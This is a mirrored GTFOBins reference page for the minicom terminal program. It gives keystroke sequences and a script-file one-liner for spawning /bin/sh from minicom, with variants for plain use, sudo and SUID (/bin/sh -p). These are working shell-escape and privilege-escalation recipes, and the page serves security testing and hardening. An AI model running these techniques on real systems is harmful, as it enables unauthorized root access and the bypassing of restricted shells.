1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/minicom.md
2023-10-21 13:54:32 +02:00

1.4 KiB

description functions
Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`.
shell sudo suid shell
description code
Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. minicom -D /dev/null
description code
Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. sudo minicom -D /dev/null
description code
Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh -p`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. ./minicom -D /dev/null
description code
After the shell, exit with `Ctrl-A x`. TF=$(mktemp) echo "! exec /bin/sh <$(tty) 1>$(tty) 2>$(tty)" >$TF minicom -D /dev/null -S $TF reset^J